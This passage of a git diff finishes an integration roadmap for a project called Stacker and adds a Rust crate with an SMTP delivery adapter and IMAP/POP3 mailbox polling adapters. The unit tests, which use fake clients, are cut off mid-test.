Ticket create/update target + +### Storage and documents + +- [ ] **S3 / MinIO** + - Object put target + - Object event source +- [ ] **Google Drive** + - File upload target +- [ ] **Dropbox** + - File sync target + +## Lower priority but highly useful + +### Data platforms + +- [ ] **PostgreSQL** + - Insert/update target + - Logical replication / CDC source +- [ ] **MySQL** + - Insert/update target + - Binlog source +- [ ] **Elasticsearch / OpenSearch** + - Index target for logs, events, and search pipelines +- [ ] **ClickHouse** + - Bulk ingest target for analytics + +### Observability + +- [ ] **Prometheus Alertmanager** + - Alert target +- [ ] **Grafana OnCall** + - Incident/notification target +- [ ] **Loki** + - Log push target +- [ ] **OpenTelemetry** + - Trace/event export target + +### App and commerce services + +- [ ] **Twilio** + - SMS target + - WhatsApp target +- [ ] **Stripe** + - Webhook source + - Event/action target where appropriate +- [ ] **Shopify** + - Webhook source + - Admin API target + +## Platform-oriented adapters for Stacker use cases + +- [ ] **Kubernetes** + - Job target + - CronJob target + - Watch source for workload events +- [ ] **Docker Registry** + - Image publish / tag notification target +- [ ] **HashiCorp Vault** + - Secret read/write adapter beyond current direct product integrations +- [ ] **Terraform Cloud / HCP Terraform** + - Run trigger target + - Run status source + +## Notes for implementation order + +- Prefer adapters with **simple auth + high utility** first: + 1. Slack + 2. Telegram + 3. RabbitMQ + 4. Airflow + 5. Zapier / Make / n8n +- Keep a clean split between: + - **source adapters**: poll, subscribe, receive, watch + - **target adapters**: send, publish, trigger, upload +- Favor adapters that can be configured with: + - URL + - token or secret reference + - retry policy + - timeout + - idempotency key or dedupe field +- Reuse the same normalized payload pattern where possible instead of creating + one-off transport-specific shapes for every service. diff --git a/stacker/crates/pipe-adapter-mail/Cargo.toml b/stacker/crates/pipe-adapter-mail/Cargo.toml new file mode 100644 index 0000000..523738c --- /dev/null +++ b/stacker/crates/pipe-adapter-mail/Cargo.toml @@ -0,0 +1,22 @@ +[package] +name = "pipe-adapter-mail" +version = "0.1.0" +edition = "2021" + +[dependencies] +async-trait = "0.1" +async-std = "1" +async-imap = { version = "0.11.2", default-features = false, features = ["runtime-async-std"] } +async-native-tls = "0.5" +async-pop = { version = "1.1.3", default-features = false, features = ["runtime-async-std", "async-native-tls", "sasl"] } +futures-util = "0.3" +lettre = { version = "0.11", default-features = false, features = ["builder", "smtp-transport", "tokio1-rustls-tls"] } +mailparse = "0.16.1" +pipe-adapter-sdk = { path = "../pipe-adapter-sdk" } +serde = { version = "1", features = ["derive"] } +serde_json = "1" +thiserror = "1" +tokio = { version = "1", features = ["net"] } + +[dev-dependencies] +tokio = { version = "1", features = ["macros", "rt-multi-thread"] } diff --git a/stacker/crates/pipe-adapter-mail/TODO.md b/stacker/crates/pipe-adapter-mail/TODO.md new file mode 100644 index 0000000..e978200 --- /dev/null +++ b/stacker/crates/pipe-adapter-mail/TODO.md @@ -0,0 +1,12 @@ +# pipe-adapter-mail TODO + +## Future enhancements + +- Add durable POP3/IMAP cursor persistence so mailbox polling survives worker restarts without replaying already-processed messages. +- Add explicit replay/reset semantics for mailbox sources so operators can intentionally reprocess a message range when needed. +- Add bounded polling controls in adapter config, including max messages per poll, max body size, and max attachment metadata extraction. +- Add richer mailbox state handling for IMAP, including configurable search criteria beyond `UNSEEN` and explicit `\Seen`/ack behavior. +- Add safer POP3 progression semantics, including optional delete/keep behavior after successful downstream trigger delivery. +- Add multipart attachment metadata improvements, including content-id and inline attachment handling. +- Add adapter-level metrics and structured diagnostics for connect, login, fetch, parse, and delivery outcomes without logging secrets or message bodies. +- Add fixture-driven tests for live protocol edge cases such as malformed MIME, empty mailboxes, duplicate UIDL/UID values, and partial TLS/auth failures. diff --git a/stacker/crates/pipe-adapter-mail/src/lib.rs b/stacker/crates/pipe-adapter-mail/src/lib.rs new file mode 100644 index 0000000..9b826f2 --- /dev/null +++ b/stacker/crates/pipe-adapter-mail/src/lib.rs @@ -0,0 +1,1235 @@ +use async_native_tls::TlsConnector; +use async_std::net::TcpStream; +use async_trait::async_trait; +use futures_util::{AsyncRead, AsyncWrite, TryStreamExt}; +use lettre::message::{header::ContentType, Mailbox, MultiPart, SinglePart}; +use lettre::transport::smtp::authentication::Credentials; +use lettre::{AsyncSmtpTransport, AsyncTransport, Message, Tokio1Executor}; +use mailparse::{addrparse_header, parse_mail, MailAddr, MailHeaderMap, ParsedMail}; +use pipe_adapter_sdk::{ + builtin_registry, NormalizedMailAddress, NormalizedMailAttachment, NormalizedMailBody, + NormalizedMailMessage, PipeAdapterCatalog, PipeAdapterDispatch, PipeAdapterError, + PipeAdapterMetadata, PipeAdapterPayload, PipeAdapterReference, PipeSourceAdapter, + PipeTargetAdapter, +}; +use serde::Deserialize; +use serde_json::{json, Value}; +use std::collections::HashSet; +use std::sync::{Arc, Mutex}; + +#[derive(Debug, Clone, PartialEq, Eq)] +pub struct SmtpDeliveryRequest { + pub host: String, + pub port: u16, + pub username: Option, + pub password: Option, + pub from: String, + pub to: Vec, + pub reply_to: Option, + pub subject: String, + pub body_text: Option, + pub body_html: Option, + pub tls: bool, +} + +#[derive(Debug, Clone, PartialEq, Eq)] +pub struct SmtpDeliveryReceipt { + pub message_id: Option, + pub accepted_recipients: usize, +} + +#[async_trait] +pub trait SmtpClient: Send + Sync + Clone + 'static { + async fn send( + &self, + request: &SmtpDeliveryRequest, + ) -> Result; +} + +#[derive(Debug, Clone, PartialEq, Eq)] +pub struct MailSourceRequest { + pub host: String, + pub port: u16, + pub username: String, + pub password: Option, + pub tls: bool, + pub mailbox: Option, +} + +#[async_trait] +pub trait MailSourceClient: Send + Sync + Clone + 'static { + async fn poll_imap( + &self, + request: &MailSourceRequest, + ) -> Result, PipeAdapterError>; + + async fn poll_pop3( + &self, + request: &MailSourceRequest, + ) -> Result, PipeAdapterError>; +} + +#[derive(Debug, Clone, Default)] +pub struct LiveMailSourceClient; + +#[async_trait] +impl MailSourceClient for LiveMailSourceClient { + async fn poll_imap( + &self, + request: &MailSourceRequest, + ) -> Result, PipeAdapterError> { + let stream = TcpStream::connect((request.host.as_str(), request.port)) + .await + .map_err(|err| { + PipeAdapterError::Message(format!( + "imap adapter failed to connect to {}:{}: {}", + request.host, request.port, err + )) + })?; + if request.tls { + let tls_stream = TlsConnector::new() + .connect(&request.host, stream) + .await + .map_err(|err| { + PipeAdapterError::Message(format!( + "imap adapter failed to negotiate tls with {}:{}: {}", + request.host, request.port, err + )) + })?; + poll_imap_client(async_imap::Client::new(tls_stream), request).await + } else { + poll_imap_client(async_imap::Client::new(stream), request).await + } + } + + async fn poll_pop3( + &self, + request: &MailSourceRequest, + ) -> Result, PipeAdapterError> { + if request.tls { + let tls = TlsConnector::new(); + let mut client = + async_pop::connect((request.host.as_str(), request.port), &request.host, &tls) + .await + .map_err(|err| { + PipeAdapterError::Message(format!( + "pop3 adapter failed to connect to {}:{}: {}", + request.host, request.port, err + )) + })?; + poll_pop3_client(&mut client, request).await + } else { + let mut client = async_pop::connect_plain((request.host.as_str(), request.port)) + .await + .map_err(|err| { + PipeAdapterError::Message(format!( + "pop3 adapter failed to connect to {}:{}: {}", + request.host, request.port, err + )) + })?; + poll_pop3_client(&mut client, request).await + } + } +} + +async fn poll_pop3_client( + client: &mut async_pop::Client, + request: &MailSourceRequest, +) -> Result, PipeAdapterError> +where + S: AsyncRead + AsyncWrite + Unpin + Send, +{ + let password = request.password.as_deref().ok_or_else(|| { + PipeAdapterError::Message( + "pop3 adapter requires a password in the adapter configuration".to_string(), + ) + })?; + + client + .login(request.username.as_str(), password) + .await + .map_err(|err| { + PipeAdapterError::Message(format!( + "pop3 adapter login failed for '{}' on {}:{}: {}", + request.username, request.host, request.port, err + )) + })?; + + let entries = client.uidl(None).await.map_err(|err| { + PipeAdapterError::Message(format!( + "pop3 adapter failed to list mailbox on {}:{}: {}", + request.host, request.port, err + )) + })?; + + let items = match entries { + async_pop::response::uidl::UidlResponse::Multiple(entries) => { + let mut items = Vec::new(); + for entry in entries.items() { + let index = entry.index().to_string().parse::().map_err(|err| { + PipeAdapterError::Message(format!( + "pop3 adapter returned invalid message index '{}': {}", + entry.index(), + err + )) + })?; + items.push((index, entry.id().to_string())); + } + items + } + async_pop::response::uidl::UidlResponse::Single(entry) => { + let index = entry.index().to_string().parse::().map_err(|err| { + PipeAdapterError::Message(format!( + "pop3 adapter returned invalid message index '{}': {}", + entry.index(), + err + )) + })?; + vec![(index, entry.id().to_string())] + } + }; + + let mut messages = Vec::new(); + for (index, uid) in items { + let raw = client.retr(index).await.map_err(|err| { + PipeAdapterError::Message(format!( + "pop3 adapter failed to retrieve message {} from {}:{}: {}", + index, request.host, request.port, err + )) + })?; + messages.push(parse_normalized_mail_message( + raw.as_ref(), + None, + Some(uid), + )?); + } + + let _ = client.quit().await; + Ok(messages) +} + +#[derive(Debug, Clone, Default)] +pub struct LettreSmtpClient; + +#[async_trait] +impl SmtpClient for LettreSmtpClient { + async fn send( + &self, + request: &SmtpDeliveryRequest, + ) -> Result { + let email = build_smtp_message(request)?; + let mut builder = if request.tls { + AsyncSmtpTransport::::relay(&request.host) + .map_err(|err| { + PipeAdapterError::Message(format!( + "invalid smtp host '{}': {}", + request.host, err + )) + })? + .port(request.port) + } else { + AsyncSmtpTransport::::builder_dangerous(&request.host) + .port(request.port) + }; + + match (&request.username, &request.password) { + (Some(username), Some(password)) => { + builder = builder.credentials(Credentials::new(username.clone(), password.clone())); + } + (None, None) => {} + _ => { + return Err(PipeAdapterError::Message( + "smtp adapter requires both username and password when credentials are configured".to_string(), + )); + } + } + + let response = + builder.build().send(email).await.map_err(|err| { + PipeAdapterError::Message(format!("smtp delivery failed: {}", err)) + })?; + + let mut messages = response.message(); + Ok(SmtpDeliveryReceipt { + message_id: messages.next().map(str::to_owned), + accepted_recipients: request.to.len(), + }) + } +} + +#[derive(Debug, Clone)] +pub struct SmtpTargetAdapter { + metadata: PipeAdapterMetadata, + reference: PipeAdapterReference, + config: SmtpTargetConfig, + client: T, +} + +#[derive(Debug, Clone)] +pub struct ImapSourceAdapter { + metadata: PipeAdapterMetadata, + reference: PipeAdapterReference, + config: ImapSourceConfig, + client: T, + seen_ids: Arc>>, +} + +#[derive(Debug, Clone)] +pub struct Pop3SourceAdapter { + metadata: PipeAdapterMetadata, + reference: PipeAdapterReference, + config: Pop3SourceConfig, + client: T, + seen_ids: Arc>>, +} + +impl SmtpTargetAdapter { + pub fn from_reference(reference: PipeAdapterReference) -> Result { + Self::with_client(reference, LettreSmtpClient) + } +} + +impl ImapSourceAdapter { + pub fn from_reference(reference: PipeAdapterReference) -> Result { + Self::with_client(reference, LiveMailSourceClient) + } +} + +impl Pop3SourceAdapter { + pub fn from_reference(reference: PipeAdapterReference) -> Result { + Self::with_client(reference, LiveMailSourceClient) + } +} + +impl SmtpTargetAdapter { + pub fn with_client( + reference: PipeAdapterReference, + client: T, + ) -> Result { + let metadata = builtin_registry().find(&reference.code).ok_or_else(|| { + PipeAdapterError::Message(format!("unknown smtp adapter '{}'", reference.code)) + })?; + let config_value = reference.config.clone().ok_or_else(|| { + PipeAdapterError::Message(format!("adapter '{}' requires config", reference.code)) + })?; + let config: SmtpTargetConfig = serde_json::from_value(config_value).map_err(|err| { + PipeAdapterError::Message(format!( + "invalid smtp adapter config for '{}': {}", + reference.code, err + )) + })?; + + Ok(Self { + metadata, + reference, + config, + client, + }) + } + + fn build_request( + &self, + payload: PipeAdapterPayload, + ) -> Result { + let envelope = match payload { + PipeAdapterPayload::Json(value) => SmtpEnvelope::from_json(value, &self.config)?, + PipeAdapterPayload::MailMessage(message) => { + SmtpEnvelope::from_message(*message, &self.config)? + } + }; + + Ok(SmtpDeliveryRequest { + host: self.config.host.clone(), + port: self.config.port, + username: self.config.username.clone(), + password: self.config.password.clone(), + from: envelope.from, + to: envelope.to, + reply_to: envelope.reply_to, + subject: envelope.subject, + body_text: envelope.body_text, + body_html: envelope.body_html, + tls: self.config.tls, + }) + } +} + +impl ImapSourceAdapter { + pub fn with_client( + reference: PipeAdapterReference, + client: T, + ) -> Result { + let metadata = builtin_registry().find(&reference.code).ok_or_else(|| { + PipeAdapterError::Message(format!("unknown imap adapter '{}'", reference.code)) + })?; + let config_value = reference.config.clone().ok_or_else(|| { + PipeAdapterError::Message(format!("adapter '{}' requires config", reference.code)) + })?; + let config: ImapSourceConfig = serde_json::from_value(config_value).map_err(|err| { + PipeAdapterError::Message(format!( + "invalid imap adapter config for '{}': {}", + reference.code, err + )) + })?; + + Ok(Self { + metadata, + reference, + config, + client, + seen_ids: Arc::new(Mutex::new(HashSet::new())), + }) + } + + fn build_request(&self) -> MailSourceRequest { + MailSourceRequest { + host: self.config.host.clone(), + port: self.config.port, + username: self.config.username.clone(), + password: self.config.password.clone(), + tls: self.config.tls, + mailbox: Some(self.config.mailbox.clone()), + } + } +} + +impl Pop3SourceAdapter { + pub fn with_client( + reference: PipeAdapterReference, + client: T, + ) -> Result { + let metadata = builtin_registry().find(&reference.code).ok_or_else(|| { + PipeAdapterError::Message(format!("unknown pop3 adapter '{}'", reference.code)) + })?; + let config_value = reference.config.clone().ok_or_else(|| { + PipeAdapterError::Message(format!("adapter '{}' requires config", reference.code)) + })?; + let config: Pop3SourceConfig = serde_json::from_value(config_value).map_err(|err| { + PipeAdapterError::Message(format!( + "invalid pop3 adapter config for '{}': {}", + reference.code, err + )) + })?; + + Ok(Self { + metadata, + reference, + config, + client, + seen_ids: Arc::new(Mutex::new(HashSet::new())), + }) + } + + fn build_request(&self) -> MailSourceRequest { + MailSourceRequest { + host: self.config.host.clone(), + port: self.config.port, + username: self.config.username.clone(), + password: self.config.password.clone(), + tls: self.config.tls, + mailbox: None, + } + } +} + +#[async_trait] +impl PipeTargetAdapter for SmtpTargetAdapter { + fn metadata(&self) -> &PipeAdapterMetadata { + &self.metadata + } + + async fn deliver(&self, payload: PipeAdapterPayload) -> Result { + let request = self.build_request(payload)?; + let receipt = self.client.send(&request).await?; + Ok(json!({ + "transport": "smtp", + "adapter": self.reference.code, + "status": Value::Null, + "delivered": true, + "body": { + "host": request.host, + "port": request.port, + "tls": request.tls, + "subject": request.subject, + "to": request.to, + "from": request.from, + "message_id": receipt.message_id, + "accepted_recipients": receipt.accepted_recipients, + } + })) + } +} + +#[async_trait] +impl PipeSourceAdapter for ImapSourceAdapter { + fn metadata(&self) -> &PipeAdapterMetadata { + &self.metadata + } + + async fn poll(&self) -> Result, PipeAdapterError> { + let messages = filter_new_messages( + &self.seen_ids, + self.client.poll_imap(&self.build_request()).await?, + )?; + Ok(messages + .into_iter() + .map(|message| PipeAdapterDispatch { + adapter: self.reference.clone(), + payload: PipeAdapterPayload::MailMessage(Box::new(message)), + }) + .collect()) + } +} + +#[async_trait] +impl PipeSourceAdapter for Pop3SourceAdapter { + fn metadata(&self) -> &PipeAdapterMetadata { + &self.metadata + } + + async fn poll(&self) -> Result, PipeAdapterError> { + let messages = filter_new_messages( + &self.seen_ids, + self.client.poll_pop3(&self.build_request()).await?, + )?; + Ok(messages + .into_iter() + .map(|message| PipeAdapterDispatch { + adapter: self.reference.clone(), + payload: PipeAdapterPayload::MailMessage(Box::new(message)), + }) + .collect()) + } +} + +#[derive(Debug, Clone, Deserialize)] +struct SmtpTargetConfig { + host: String, + #[serde(default = "default_smtp_port")] + port: u16, + #[serde(default)] + username: Option, + #[serde(default)] + password: Option, + #[serde(default)] + from: Option, + #[serde(default, deserialize_with = "deserialize_string_or_vec")] + to: Vec, + #[serde(default = "default_true")] + tls: bool, +} + +#[derive(Debug, Clone, Deserialize)] +struct ImapSourceConfig { + host: String, + #[serde(default = "default_imap_port")] + port: u16, + username: String, + #[serde(default)] + password: Option, + #[serde(default = "default_imap_mailbox")] + mailbox: String, + #[serde(default = "default_true")] + tls: bool, +} + +#[derive(Debug, Clone, Deserialize)] +struct Pop3SourceConfig { + host: String, + #[serde(default = "default_pop3_port")] + port: u16, + username: String, + #[serde(default)] + password: Option, + #[serde(default = "default_true")] + tls: bool, +} + +#[derive(Debug, Clone)] +struct SmtpEnvelope { + from: String, + to: Vec, + reply_to: Option, + subject: String, + body_text: Option, + body_html: Option, +} + +impl SmtpEnvelope { + fn from_json(value: Value, config: &SmtpTargetConfig) -> Result { + let from = json_string_field(&value, "from_email") + .or_else(|| config.from.clone()) + .ok_or_else(|| { + PipeAdapterError::Message("smtp adapter requires a from address".to_string()) + })?; + let to = json_string_list_field(&value, "to_email"); + let to = if to.is_empty() { config.to.clone() } else { to }; + if to.is_empty() { + return Err(PipeAdapterError::Message( + "smtp adapter requires at least one recipient address".to_string(), + )); + } + + let subject = json_string_field(&value, "subject") + .unwrap_or_else(|| "Stacker pipe message".to_string()); + let body_text = json_string_field(&value, "body_text").or_else(|| match &value { + Value::String(text) => Some(text.clone()), + other => serde_json::to_string_pretty(other).ok(), + }); + let body_html = json_string_field(&value, "body_html"); + if body_text.is_none() && body_html.is_none() { + return Err(PipeAdapterError::Message( + "smtp adapter requires body_text or body_html content".to_string(), + )); + } + + Ok(Self { + from, + to, + reply_to: json_string_field(&value, "reply_to_email"), + subject, + body_text, + body_html, + }) + } + + fn from_message( + message: pipe_adapter_sdk::NormalizedMailMessage, + config: &SmtpTargetConfig, + ) -> Result { + let from = message + .from + .first() + .map(|address| address.email.clone()) + .or_else(|| config.from.clone()) + .ok_or_else(|| { + PipeAdapterError::Message("smtp adapter requires a from address".to_string()) + })?; + let to = if message.to.is_empty() { + config.to.clone() + } else { + message + .to + .into_iter() + .map(|address| address.email) + .collect() + }; + if to.is_empty() { + return Err(PipeAdapterError::Message( + "smtp adapter requires at least one recipient address".to_string(), + )); + } + + let subject = message + .subject + .unwrap_or_else(|| "Stacker pipe message".to_string()); + let body_text = message.body.text; + let body_html = message.body.html; + if body_text.is_none() && body_html.is_none() { + return Err(PipeAdapterError::Message( + "smtp adapter requires body_text or body_html content".to_string(), + )); + } + + Ok(Self { + from, + to, + reply_to: None, + subject, + body_text, + body_html, + }) + } +} + +fn default_smtp_port() -> u16 { + 587 +} + +fn default_imap_port() -> u16 { + 993 +} + +fn default_pop3_port() -> u16 { + 995 +} + +fn default_imap_mailbox() -> String { + "INBOX".to_string() +} + +fn default_true() -> bool { + true +} + +fn deserialize_string_or_vec<'de, D>(deserializer: D) -> Result, D::Error> +where + D: serde::Deserializer<'de>, +{ + let value = Option::::deserialize(deserializer)?; + Ok(match value { + Some(Value::String(item)) => vec![item], + Some(Value::Array(items)) => items + .into_iter() + .filter_map(|item| item.as_str().map(str::to_string)) + .collect(), + _ => Vec::new(), + }) +} + +fn json_string_field(value: &Value, key: &str) -> Option { + value + .get(key) + .and_then(Value::as_str) + .map(str::trim) + .filter(|value| !value.is_empty()) + .map(str::to_string) +} + +fn json_string_list_field(value: &Value, key: &str) -> Vec { + match value.get(key) { + Some(Value::String(item)) if !item.trim().is_empty() => vec![item.trim().to_string()], + Some(Value::Array(items)) => items + .iter() + .filter_map(Value::as_str) + .map(str::trim) + .filter(|item| !item.is_empty()) + .map(str::to_string) + .collect(), + _ => Vec::new(), + } +} + +async fn poll_imap_client( + mut client: async_imap::Client, + request: &MailSourceRequest, +) -> Result, PipeAdapterError> +where + S: AsyncRead + AsyncWrite + Unpin + Send + std::fmt::Debug, +{ + let password = request.password.as_deref().ok_or_else(|| { + PipeAdapterError::Message( + "imap adapter requires a password in the adapter configuration".to_string(), + ) + })?; + client.read_response().await.map_err(|err| { + PipeAdapterError::Message(format!( + "imap adapter failed to read greeting from {}:{}: {}", + request.host, request.port, err + )) + })?; + let mut session = client + .login(request.username.as_str(), password) + .await + .map_err(|(err, _)| { + PipeAdapterError::Message(format!( + "imap adapter login failed for '{}' on {}:{}: {}", + request.username, request.host, request.port, err + )) + })?; + + let mailbox = request.mailbox.as_deref().unwrap_or("INBOX"); + session.select(mailbox).await.map_err(|err| { + PipeAdapterError::Message(format!( + "imap adapter failed to select mailbox '{}': {}", + mailbox, err + )) + })?; + + let mut uids: Vec<_> = session + .uid_search("UNSEEN") + .await + .map_err(|err| { + PipeAdapterError::Message(format!( + "imap adapter failed to search mailbox '{}': {}", + mailbox, err + )) + })? + .into_iter() + .collect(); + uids.sort_unstable(); + + let mut messages = Vec::new(); + for uid in uids { + let fetches: Vec<_> = session + .uid_fetch(uid.to_string(), "RFC822") + .await + .map_err(|err| { + PipeAdapterError::Message(format!( + "imap adapter failed to fetch uid {} from '{}': {}", + uid, mailbox, err + )) + })? + .try_collect() + .await + .map_err(|err| { + PipeAdapterError::Message(format!( + "imap adapter failed to decode uid {} from '{}': {}", + uid, mailbox, err + )) + })?; + + for fetch in fetches { + if let Some(body) = fetch.body() { + messages.push(parse_normalized_mail_message( + body, + Some(mailbox), + Some(uid.to_string()), + )?); + } + } + + let _: Vec<_> = session + .uid_store(uid.to_string(), "+FLAGS (\\Seen)") + .await + .map_err(|err| { + PipeAdapterError::Message(format!( + "imap adapter failed to mark uid {} seen in '{}': {}", + uid, mailbox, err + )) + })? + .try_collect() + .await + .map_err(|err| { + PipeAdapterError::Message(format!( + "imap adapter failed to confirm seen flag for uid {} in '{}': {}", + uid, mailbox, err + )) + })?; + } + + let _ = session.logout().await; + Ok(messages) +} + +fn filter_new_messages( + seen_ids: &Arc>>, + messages: Vec, +) -> Result, PipeAdapterError> { + let mut seen_ids = seen_ids + .lock() + .map_err(|_| PipeAdapterError::Message("mail adapter state lock poisoned".to_string()))?; + let mut fresh = Vec::new(); + + for message in messages { + let dedupe_key = message + .cursor + .clone() + .or_else(|| message.message_id.clone()) + .or_else(|| message.subject.clone()) + .ok_or_else(|| { + PipeAdapterError::Message( + "mail adapter could not derive a stable cursor or message id".to_string(), + ) + })?; + if seen_ids.insert(dedupe_key) { + fresh.push(message); + } + } + + Ok(fresh) +} + +fn parse_normalized_mail_message( + raw: &[u8], + mailbox: Option<&str>, + cursor: Option, +) -> Result { + let parsed = parse_mail(raw).map_err(|err| { + PipeAdapterError::Message(format!("mail adapter failed to parse raw message: {}", err)) + })?; + let body = extract_mail_body(&parsed); + + Ok(NormalizedMailMessage { + cursor, + mailbox: mailbox.map(str::to_string), + message_id: parsed.headers.get_first_value("Message-ID"), + subject: parsed.headers.get_first_value("Subject"), + sent_at: parsed.headers.get_first_value("Date"), + received_at: None, + from: parse_mail_addresses(&parsed, "From")?, + to: parse_mail_addresses(&parsed, "To")?, + cc: parse_mail_addresses(&parsed, "Cc")?, + bcc: parse_mail_addresses(&parsed, "Bcc")?, + headers: parsed + .headers + .iter() + .map(|header| (header.get_key().to_string(), header.get_value())) + .collect(), + body, + attachments: extract_attachments(&parsed)?, + }) +} + +fn extract_mail_body(parsed: &ParsedMail<'_>) -> NormalizedMailBody { + let mut body = NormalizedMailBody { + text: None, + html: None, + }; + + for part in parsed.parts() { + if part.ctype.mimetype.eq_ignore_ascii_case("text/plain") && body.text.is_none() { + if let Ok(text) = part.get_body() { + let text = text.trim().to_string(); + if !text.is_empty() { + body.text = Some(text); + } + } + } + if part.ctype.mimetype.eq_ignore_ascii_case("text/html") && body.html.is_none() { + if let Ok(html) = part.get_body() { + let html = html.trim().to_string(); + if !html.is_empty() { + body.html = Some(html); + } + } + } + } + + if body.text.is_none() && body.html.is_none() && parsed.subparts.is_empty() { + if let Ok(text) = parsed.get_body() { + let text = text.trim().to_string(); + if !text.is_empty() { + body.text = Some(text); + } + } + } + + body +} + +fn extract_attachments( + parsed: &ParsedMail<'_>, +) -> Result, PipeAdapterError> { + let mut attachments = Vec::new(); + + for part in parsed.parts() { + if part.ctype.mimetype.starts_with("multipart/") { + continue; + } + let disposition = part.get_content_disposition(); + let filename = disposition + .params + .get("filename") + .cloned() + .or_else(|| part.ctype.params.get("name").cloned()); + if let Some(filename) = filename { + let raw = part.get_body_raw().map_err(|err| { + PipeAdapterError::Message(format!( + "mail adapter failed to decode attachment '{}': {}", + filename, err + )) + })?; + attachments.push(NormalizedMailAttachment { + file_name: Some(filename), + content_type: Some(part.ctype.mimetype.clone()), + size_bytes: Some(raw.len() as u64), + }); + } + } + + Ok(attachments) +} + +fn parse_mail_addresses( + parsed: &ParsedMail<'_>, + header_name: &str, +) -> Result, PipeAdapterError> { + let Some(header) = parsed + .headers + .iter() + .find(|header| header.get_key_ref().eq_ignore_ascii_case(header_name)) + else { + return Ok(Vec::new()); + }; + + let addresses = addrparse_header(header).map_err(|err| { + PipeAdapterError::Message(format!( + "mail adapter failed to parse '{}' header: {}", + header_name, err + )) + })?; + + Ok(addresses.iter().flat_map(flatten_mail_addr).collect()) +} + +fn flatten_mail_addr(address: &MailAddr) -> Vec { + match address { + MailAddr::Single(info) => vec![NormalizedMailAddress { + name: info + .display_name + .clone() + .filter(|name| !name.trim().is_empty()), + email: info.addr.clone(), + }], + MailAddr::Group(group) => group + .addrs + .iter() + .map(|info| NormalizedMailAddress { + name: info + .display_name + .clone() + .filter(|name| !name.trim().is_empty()), + email: info.addr.clone(), + }) + .collect(), + } +} + +fn build_smtp_message(request: &SmtpDeliveryRequest) -> Result { + let mut builder = Message::builder() + .from(parse_mailbox(&request.from)?) + .subject(request.subject.clone()); + + for recipient in &request.to { + builder = builder.to(parse_mailbox(recipient)?); + } + if let Some(reply_to) = &request.reply_to { + builder = builder.reply_to(parse_mailbox(reply_to)?); + } + + match (&request.body_text, &request.body_html) { + (Some(text), Some(html)) => builder + .multipart( + MultiPart::alternative() + .singlepart( + SinglePart::builder() + .header(ContentType::TEXT_PLAIN) + .body(text.clone()), + ) + .singlepart( + SinglePart::builder() + .header(ContentType::TEXT_HTML) + .body(html.clone()), + ), + ) + .map_err(|err| { + PipeAdapterError::Message(format!("failed to build smtp message: {}", err)) + }), + (Some(text), None) => builder + .singlepart( + SinglePart::builder() + .header(ContentType::TEXT_PLAIN) + .body(text.clone()), + ) + .map_err(|err| { + PipeAdapterError::Message(format!("failed to build smtp message: {}", err)) + }), + (None, Some(html)) => builder + .singlepart( + SinglePart::builder() + .header(ContentType::TEXT_HTML) + .body(html.clone()), + ) + .map_err(|err| { + PipeAdapterError::Message(format!("failed to build smtp message: {}", err)) + }), + (None, None) => Err(PipeAdapterError::Message( + "smtp adapter requires body_text or body_html content".to_string(), + )), + } +} + +fn parse_mailbox(raw: &str) -> Result { + raw.parse().map_err(|err| { + PipeAdapterError::Message(format!("invalid email address '{}': {}", raw, err)) + }) +} + +#[cfg(test)] +mod tests { + use super::*; + use std::sync::{Arc, Mutex}; + + #[derive(Clone, Default)] + struct FakeSmtpClient { + requests: Arc>>, + } + + #[derive(Clone, Default)] + struct FakeMailSourceClient { + imap_messages: Arc>>, + pop3_messages: Arc>>, + } + + #[async_trait] + impl SmtpClient for FakeSmtpClient { + async fn send( + &self, + request: &SmtpDeliveryRequest, + ) -> Result { + self.requests.lock().unwrap().push(request.clone()); + Ok(SmtpDeliveryReceipt { + message_id: Some("msg-123".to_string()), + accepted_recipients: request.to.len(), + }) + } + } + + #[async_trait] + impl MailSourceClient for FakeMailSourceClient { + async fn poll_imap( + &self, + _request: &MailSourceRequest, + ) -> Result, PipeAdapterError> { + Ok(self + .imap_messages + .lock() + .expect("imap messages lock") + .clone()) + } + + async fn poll_pop3( + &self, + _request: &MailSourceRequest, + ) -> Result, PipeAdapterError> { + Ok(self + .pop3_messages + .lock() + .expect("pop3 messages lock") + .clone()) + } + } + + #[tokio::test] + async fn smtp_target_adapter_delivers_json_payload_with_fake_client() { + let client = FakeSmtpClient::default(); + let adapter = SmtpTargetAdapter::with_client( + PipeAdapterReference::new("smtp").with_config(json!({ + "host": "smtp.example.com", + "port": 2525, + "from": "noreply@example.com", + "to": ["alerts@example.com"], + "tls": false + })), + client.clone(), + ) + .expect("adapter config should parse"); + + let response = adapter + .deliver(PipeAdapterPayload::Json(json!({ + "subject": "Deployment ready", + "body_text": "The deployment completed successfully" + }))) + .await + .expect("smtp delivery should succeed"); + + let requests = client.requests.lock().unwrap(); + assert_eq!(requests.len(), 1); + assert_eq!(requests[0].host, "smtp.example.com"); + assert_eq!(requests[0].port, 2525); + assert_eq!(requests[0].to, vec!["alerts@example.com".to_string()]); + assert_eq!(requests[0].from, "noreply@example.com"); + assert_eq!(response["transport"], "smtp"); + assert_eq!(response["adapter"], "smtp"); + assert_eq!(response["delivered"], true); + assert_eq!(response["body"]["accepted_recipients"], 1); + } + + #[tokio::test] + async fn smtp_target_adapter_requires_recipient_before_delivery() { + let adapter = SmtpTargetAdapter::with_client( + PipeAdapterReference::new("smtp").with_config(json!({ + "host": "smtp.example.com", + "from": "noreply@example.com" + })), + FakeSmtpClient::default(), + ) + .expect("adapter config should parse"); + + let error = adapter + .deliver(PipeAdapterPayload::Json(json!({ + "subject": "Deployment ready", + "body_text": "The deployment completed successfully" + }))) + .await + .expect_err("delivery should fail without recipients"); + + assert!(error + .to_string() + .contains("smtp adapter requires at least one recipient address")); + } + + #[tokio::test] + async fn imap_source_adapter_polls_normalized_mail_dispatches() { + let client = FakeMailSourceClient { + imap_messages: Arc::new(Mutex::new(vec![NormalizedMailMessage { + subject: Some("Incident opened".to_string()), + mailbox: Some("INBOX".to_string()), + body: pipe_adapter_sdk::NormalizedMailBody { + text: Some("CPU usage exceeded threshold".to_string()), + html: None, + }, + ..Default::default() + }])), + pop3_messages: Arc::new(Mutex::new(Vec::new())), + }; + let adapter = ImapSourceAdapter::with_client( + PipeAdapterReference::new("imap").with_config(json!({ + "host": "imap.example.com", + "username": "alerts@example.com", + "password": "secret", + "mailbox": "INBOX" + })), + client, + ) + .expect("imap adapter config should parse"); + + let dispatches = adapter.poll().await.expect("imap poll should succeed"); + + assert_eq!(dispatches.len(), 1); + assert_eq!(dispatches[0].adapter.code, "imap"); + assert_eq!( + dispatches[0].payload, + PipeAdapterPayload::MailMessage(Box::new(NormalizedMailMessage { + subject: Some("Incident opened".to_string()), + mailbox: 